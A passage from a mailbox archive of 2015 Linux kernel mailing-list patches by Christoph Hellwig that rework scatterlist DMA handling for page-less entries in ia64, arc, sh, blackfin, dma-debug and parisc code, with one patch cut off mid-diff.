	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAB-0001jH-9d; Wed, 12 Aug 2015 07:09:27 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25679 gmane.linux.kernel:2018374 gmane.linux.kernel.cross-arch:28839 gmane.linux.ports.alpha:3280 gmane.linux.kernel.metag:590 gmane.linux.ports.mips.general:49934 gmane.linux.ports.parisc:25906 gmane.linux.ports.ppc64.devel:116731 gmane.linux.ports.sparc:21385 gmane.linux.drivers.video-input-infrastructure:93929
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25679>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/ia64/hp/common/sba_iommu.c | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/arch/ia64/hp/common/sba_iommu.c b/arch/ia64/hp/common/sba_iommu.c
index 344387a..9e5aa8e 100644
--- a/arch/ia64/hp/common/sba_iommu.c
+++ b/arch/ia64/hp/common/sba_iommu.c
@@ -248,8 +248,6 @@ static int reserve_sba_gart = 1;
 static SBA_INLINE void sba_mark_invalid(struct ioc *, dma_addr_t, size_t);
 static SBA_INLINE void sba_free_range(struct ioc *, dma_addr_t, size_t);
 
-#define sba_sg_address(sg)	sg_virt((sg))
-
 #ifdef FULL_VALID_PDIR
 static u64 prefetch_spill_page;
 #endif
@@ -397,7 +395,7 @@ sba_dump_sg( struct ioc *ioc, struct scatterlist *startsg, int nents)
 	while (nents-- > 0) {
 		printk(KERN_DEBUG " %d : DMA %08lx/%05x CPU %p\n", nents,
 		       startsg->dma_address, startsg->dma_length,
-		       sba_sg_address(startsg));
+		       sg_virt(startsg));
 		startsg = sg_next(startsg);
 	}
 }
@@ -409,7 +407,7 @@ sba_check_sg( struct ioc *ioc, struct scatterlist *startsg, int nents)
 	int the_nents = nents;
 
 	while (the_nents-- > 0) {
-		if (sba_sg_address(the_sg) == 0x0UL)
+		if (sg_virt(the_sg) == 0x0UL)
 			sba_dump_sg(NULL, startsg, nents);
 		the_sg = sg_next(the_sg);
 	}
@@ -1243,11 +1241,11 @@ sba_fill_pdir(
 		if (dump_run_sg)
 			printk(" %2d : %08lx/%05x %p\n",
 				nents, startsg->dma_address, cnt,
-				sba_sg_address(startsg));
+				sg_virt(startsg));
 #else
 		DBG_RUN_SG(" %d : %08lx/%05x %p\n",
 				nents, startsg->dma_address, cnt,
-				sba_sg_address(startsg));
+				sg_virt(startsg));
 #endif
 		/*
 		** Look for the start of a new DMA stream
@@ -1267,7 +1265,7 @@ sba_fill_pdir(
 		** Look for a VCONTIG chunk
 		*/
 		if (cnt) {
-			unsigned long vaddr = (unsigned long) sba_sg_address(startsg);
+			unsigned long vaddr = (unsigned long) sg_virt(startsg);
 			ASSERT(pdirp);
 
 			/* Since multiple Vcontig blocks could make up
@@ -1335,7 +1333,7 @@ sba_coalesce_chunks(struct ioc *ioc, struct device *dev,
 	int idx;
 
 	while (nents > 0) {
-		unsigned long vaddr = (unsigned long) sba_sg_address(startsg);
+		unsigned long vaddr = (unsigned long) sg_virt(startsg);
 
 		/*
 		** Prepare for first/next DMA stream
@@ -1380,7 +1378,7 @@ sba_coalesce_chunks(struct ioc *ioc, struct device *dev,
 			**
 			** append the next transaction?
 			*/
-			vaddr = (unsigned long) sba_sg_address(startsg);
+			vaddr = (unsigned long) sg_virt(startsg);
 			if  (vcontig_end == vaddr)
 			{
 				vcontig_len += startsg->length;
@@ -1479,7 +1477,7 @@ static int sba_map_sg_attrs(struct device *dev, struct scatterlist *sglist,
 	if (likely((ioc->dma_mask & ~to_pci_dev(dev)->dma_mask) == 0)) {
 		for_each_sg(sglist, sg, nents, filled) {
 			sg->dma_length = sg->length;
-			sg->dma_address = virt_to_phys(sba_sg_address(sg));
+			sg->dma_address = virt_to_phys(sg_virt(sg));
 		}
 		return filled;
 	}
@@ -1487,7 +1485,7 @@ static int sba_map_sg_attrs(struct device *dev, struct scatterlist *sglist,
 	/* Fast path single entry scatterlists. */
 	if (nents == 1) {
 		sglist->dma_length = sglist->length;
-		sglist->dma_address = sba_map_single_attrs(dev, sba_sg_address(sglist), sglist->length, dir, attrs);
+		sglist->dma_address = sba_map_single_attrs(dev, sg_virt(sglist), sglist->length, dir, attrs);
 		return 1;
 	}
 
@@ -1563,7 +1561,7 @@ static void sba_unmap_sg_attrs(struct device *dev, struct scatterlist *sglist,
 #endif
 
 	DBG_RUN_SG("%s() START %d entries,  %p,%x\n",
-		   __func__, nents, sba_sg_address(sglist), sglist->length);
+		   __func__, nents, sg_virt(sglist), sglist->length);
 
 #ifdef ASSERT_PDIR_SANITY
 	ioc = GET_IOC(dev);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 19/31] arc: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:38 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <1439363150-8661-20-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363409 26546 80.91.229.3 (12 Aug 2015 07:10:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:09 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 09:10:00 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPQAg-0005yl-5s
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 09:09:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965262AbbHLHJn (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:43 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53222 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965215AbbHLHJj (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 03:09:39 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAH-0001lK-5m; Wed, 12 Aug 2015 07:09:33 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2018375 gmane.linux.kernel.cross-arch:28840 gmane.linux.ports.alpha:3281 gmane.linux.ports.ia64:25680 gmane.linux.kernel.metag:591 gmane.linux.ports.mips.general:49935 gmane.linux.ports.parisc:25907 gmane.linux.ports.ppc64.devel:116732 gmane.linux.ports.sparc:21386 gmane.linux.drivers.video-input-infrastructure:93930
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2018375>

Make all cache invalidation conditional on sg_has_page() and use
sg_phys to get the physical address directly.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arc/include/asm/dma-mapping.h | 26 +++++++++++++++++++-------
 1 file changed, 19 insertions(+), 7 deletions(-)

diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index 2d28ba9..42eb526 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -108,9 +108,13 @@ dma_map_sg(struct device *dev, struct scatterlist *sg,
 	struct scatterlist *s;
 	int i;
 
-	for_each_sg(sg, s, nents, i)
-		s->dma_address = dma_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir);
+	for_each_sg(sg, s, nents, i) {
+		if (sg_has_page(s)) {
+			_dma_cache_sync((unsigned long)sg_virt(s), s->length,
+					dir);
+		}
+		s->dma_address = sg_phys(s);
+	}
 
 	return nents;
 }
@@ -163,8 +167,12 @@ dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nelems,
 	int i;
 	struct scatterlist *sg;
 
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
+	for_each_sg(sglist, sg, nelems, i) {
+		if (sg_has_page(sg)) {
+			_dma_cache_sync((unsigned int)sg_virt(sg), sg->length,
+					dir);
+		}
+	}
 }
 
 static inline void
@@ -174,8 +182,12 @@ dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
 	int i;
 	struct scatterlist *sg;
 
-	for_each_sg(sglist, sg, nelems, i)
-		_dma_cache_sync((unsigned int)sg_virt(sg), sg->length, dir);
+	for_each_sg(sglist, sg, nelems, i) {
+		if (sg_has_page(sg)) {
+			_dma_cache_sync((unsigned int)sg_virt(sg), sg->length,
+				dir);
+		}
+	}
 }
 
 static inline int dma_supported(struct device *dev, u64 dma_mask)
-- 
1.9.1


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 23/31] sh: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:42 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <1439363150-8661-24-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363411 26564 80.91.229.3 (12 Aug 2015 07:10:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:11 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 12 09:10:08 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPQAj-0005yl-Gn
	for glpp-linux-parisc@plane.gmane.org; Wed, 12 Aug 2015 09:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965336AbbHLHJ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:56 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53291 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965302AbbHLHJw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Aug 2015 03:09:52 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAU-0001q4-9b; Wed, 12 Aug 2015 07:09:46 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25908 gmane.linux.kernel:2018376 gmane.linux.kernel.cross-arch:28841 gmane.linux.ports.alpha:3282 gmane.linux.ports.ia64:25681 gmane.linux.kernel.metag:592 gmane.linux.ports.mips.general:49936 gmane.linux.ports.ppc64.devel:116733 gmane.linux.ports.sparc:21387 gmane.linux.drivers.video-input-infrastructure:93931
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25908>

Make all cache invalidation conditional on sg_has_page().

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/kernel/dma-nommu.c | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 5b0bfcd..3b64dc7 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -33,9 +33,8 @@ static int nommu_map_sg(struct device *dev, struct scatterlist *sg,
 	WARN_ON(nents == 0 || sg[0].length == 0);
 
 	for_each_sg(sg, s, nents, i) {
-		BUG_ON(!sg_page(s));

From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 21/31] blackfin: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:40 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <1439363150-8661-22-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363415 26595 80.91.229.3 (12 Aug 2015 07:10:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:15 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: sparclinux-owner@vger.kernel.org Wed Aug 12 09:10:07 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZPQAg-0005yl-QE
	for lnx-sparclinux@plane.gmane.org; Wed, 12 Aug 2015 09:09:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965303AbbHLHJw (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:52 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53264 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965215AbbHLHJr (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 12 Aug 2015 03:09:47 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAM-0001n8-SB; Wed, 12 Aug 2015 07:09:39 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21388 gmane.linux.kernel:2018377 gmane.linux.kernel.cross-arch:28842 gmane.linux.ports.alpha:3283 gmane.linux.ports.ia64:25682 gmane.linux.kernel.metag:593 gmane.linux.ports.mips.general:49937 gmane.linux.ports.parisc:25909 gmane.linux.ports.ppc64.devel:116734 gmane.linux.drivers.video-input-infrastructure:93932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21388>

Switch from sg_virt to sg_phys as blackfin like all nommu architectures
has a 1:1 virtual to physical mapping.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/blackfin/kernel/dma-mapping.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/blackfin/kernel/dma-mapping.c b/arch/blackfin/kernel/dma-mapping.c
index df437e5..e2c4d1a 100644
--- a/arch/blackfin/kernel/dma-mapping.c
+++ b/arch/blackfin/kernel/dma-mapping.c
@@ -120,7 +120,7 @@ dma_map_sg(struct device *dev, struct scatterlist *sg_list, int nents,
 	int i;
 
 	for_each_sg(sg_list, sg, nents, i) {
-		sg->dma_address = (dma_addr_t) sg_virt(sg);
+		sg->dma_address = sg_phys(sg);
 		__dma_sync(sg_dma_address(sg), sg_dma_len(sg), direction);
 	}
 
@@ -135,7 +135,7 @@ void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg_list,
 	int i;
 
 	for_each_sg(sg_list, sg, nelems, i) {
-		sg->dma_address = (dma_addr_t) sg_virt(sg);
+		sg->dma_address = sg_phys(sg);
 		__dma_sync(sg_dma_address(sg), sg_dma_len(sg), direction);
 	}
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 03/31] dma-debug: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:22 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <1439363150-8661-4-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363425 26677 80.91.229.3 (12 Aug 2015 07:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:25 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:10:14 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQAv-0006DX-ER
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:10:13 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:36694 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012051AbbHLHKLXzwQj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:10:11 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:09:56 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34775 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011012AbbHLHI5uwDwj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:08:57 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9W-0001Sv-PX; Wed, 12 Aug 2015 07:08:47 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48779
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49938 gmane.linux.kernel:2018378 gmane.linux.kernel.cross-arch:28843 gmane.linux.ports.alpha:3284 gmane.linux.ports.ia64:25683 gmane.linux.kernel.metag:594 gmane.linux.ports.parisc:25910 gmane.linux.ports.ppc64.devel:116735 gmane.linux.ports.sparc:21389 gmane.linux.drivers.video-input-infrastructure:93933
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49938>

Use sg_pfn to get a the PFN and skip checks that require a kernel
virtual address.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-debug.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/lib/dma-debug.c b/lib/dma-debug.c
index dace71f..a215a80 100644
--- a/lib/dma-debug.c
+++ b/lib/dma-debug.c
@@ -1368,7 +1368,7 @@ void debug_dma_map_sg(struct device *dev, struct scatterlist *sg,
 
 		entry->type           = dma_debug_sg;
 		entry->dev            = dev;
-		entry->pfn	      = page_to_pfn(sg_page(s));
+		entry->pfn	      = sg_pfn(s);
 		entry->offset	      = s->offset,
 		entry->size           = sg_dma_len(s);
 		entry->dev_addr       = sg_dma_address(s);
@@ -1376,7 +1376,7 @@ void debug_dma_map_sg(struct device *dev, struct scatterlist *sg,
 		entry->sg_call_ents   = nents;
 		entry->sg_mapped_ents = mapped_ents;
 
-		if (!PageHighMem(sg_page(s))) {
+		if (sg_has_page(s) && !PageHighMem(sg_page(s))) {
 			check_for_stack(dev, sg_virt(s));
 			check_for_illegal_area(dev, sg_virt(s), sg_dma_len(s));
 		}
@@ -1419,7 +1419,7 @@ void debug_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 		struct dma_debug_entry ref = {
 			.type           = dma_debug_sg,
 			.dev            = dev,
-			.pfn		= page_to_pfn(sg_page(s)),
+			.pfn		= sg_pfn(s),
 			.offset		= s->offset,
 			.dev_addr       = sg_dma_address(s),
 			.size           = sg_dma_len(s),
@@ -1580,7 +1580,7 @@ void debug_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
 		struct dma_debug_entry ref = {
 			.type           = dma_debug_sg,
 			.dev            = dev,
-			.pfn		= page_to_pfn(sg_page(s)),
+			.pfn		= sg_pfn(s),
 			.offset		= s->offset,
 			.dev_addr       = sg_dma_address(s),
 			.size           = sg_dma_len(s),
@@ -1613,7 +1613,7 @@ void debug_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 		struct dma_debug_entry ref = {
 			.type           = dma_debug_sg,
 			.dev            = dev,
-			.pfn		= page_to_pfn(sg_page(s)),
+			.pfn		= sg_pfn(s),
 			.offset		= s->offset,
 			.dev_addr       = sg_dma_address(s),
 			.size           = sg_dma_len(s),
-- 
1.9.1




From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 29/31] parisc: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:48 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <1439363150-8661-30-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363434 26763 80.91.229.3 (12 Aug 2015 07:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:10:34 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
